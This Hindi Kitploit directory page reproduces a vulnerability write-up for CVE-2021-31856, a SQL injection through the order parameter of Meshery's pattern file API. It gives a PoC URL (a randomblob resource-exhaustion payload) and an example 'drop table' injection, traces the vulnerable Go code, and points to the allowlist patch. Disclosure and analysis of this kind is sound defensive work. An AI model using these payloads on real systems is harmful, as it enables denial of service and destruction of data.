Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-31856 — CVE-2021-31856 की विस्तृत रिपोर्ट PoC और कोड विश्लेषण के साथ, जो Meshery के पैटर्न फ़ाइल API में SQL इंजेक्शन भेद्यता है, जो अनप्रमाणित डेटा निष्कर्षण को सक्षम बनाती है। | Kitploit
उपकरण/GitHubGitHub/ssst0n3/cve-2021-31856
भेद्यता विश्लेषणकोड विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

CVE-2021-31856 की विस्तृत रिपोर्ट PoC और कोड विश्लेषण के साथ, जो Meshery के पैटर्न फ़ाइल API में SQL इंजेक्शन भेद्यता है, जो अनप्रमाणित डेटा निष्कर्षण को सक्षम बनाती है।

रिपॉजिटरी देखें
35 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

[भेद्यता रिपोर्ट] CVE-2021-31856: Meshery में एक sql इंजेक्शन

itemdetailsnote
projecthttps://github.com/layer5io/meshery
date announced2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
Vulnerable Versionv0.5.2\
Patched Versionv0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Authorhttps://github.com/ssst0n3

1. विवरण

meshery/models/meshery_pattern_persister.go में GetMesheryPatterns() फ़ंक्शन में /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 order पैरामीटर के माध्यम से SQL इंजेक्शन भेद्यता है।

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

वीडियो देखें

आपका ब्राउज़र HTML5 वीडियो का समर्थन नहीं करता। इसके बजाय वीडियो का लिंक देखें।

3. कोड विश्लेषण

फ़ंक्शन GetMesheryPatterns में order पैरामीटर string का एक उदाहरण है। gorm का उपयोग करते समय इसे सीधे क्वेरी स्टेटमेंट में जोड़ दिया जाता है, और SQL क्वेरी स्टेटमेंट Find() द्वारा निष्पादित की जाती है।

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

यदि order पैरामीटर बिना किसी फ़िल्टरिंग के उपयोगकर्ता के इनपुट से आता है, तो SQL इंजेक्शन भेद्यता उत्पन्न होती है।

कॉल प्रक्रिया का अनुसरण करने पर, हम पाते हैं कि "order" पैरामीटर सीधे क्वेरी से आता है।

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

यदि हम डीबग करते हैं, तो हम पाते हैं कि क्वेरी स्टेटमेंट है:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

यदि हम order=id;drop table meshery_patterns रखते हैं, तो स्टेटमेंट बन जाएगा:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

और टेबल डिलीट हो जाएगी।


पूरी कॉल श्रृंखला निम्नलिखित है:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. समाधान

order पैरामीटर के लिए एक अनुमत-सूची (allowlist) सेट करें, बजाय उपयोगकर्ता के इनपुट से पैरामीटर को बिना किसी फ़िल्टरिंग के उपयोग करने के।

https://github.com/layer5io/meshery/pull/2745

आप gorm के दस्तावेज़ से कुछ संदर्भ प्राप्त कर सकते हैं: https://gorm.io/docs/security.html

टूल डाउनलोड करें